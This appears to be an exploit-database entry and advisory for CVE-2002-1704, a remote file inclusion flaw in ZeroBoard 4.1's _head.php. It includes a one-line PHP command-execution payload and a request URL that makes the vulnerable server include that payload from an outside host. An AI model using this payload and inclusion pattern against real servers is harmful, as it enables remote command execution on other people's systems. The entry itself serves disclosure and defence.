ZeroBoard 4.1 - PHP Include File Arbitrary Command Execution

Author: onlooker
type: webapps
platform: php
port: nan
date_added: 2002-06-15 
date_updated: 2012-09-27 
verified: 1 
codes: CVE-2002-1704;OSVDB-21563 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/5028/info

Zeroboard is a PHP web board package available for the Linux and Unix platforms.

Under some circumstances, it may be possible to include arbitrary PHP files. The _head.php file does not sufficiently check or sanitize input. When the "allow_url_fopen" variable and the "register_globals" variable in php.ini are set to "On," it is possible to load a PHP include file from a remote URL via the _head.php script.

PHP Source file a.php
<? passthru("/bin/ls"); ?>

Accessing URL on vulnerable system:
http://vulnerablesystem/_head.php?_zb_path=http://example.com/a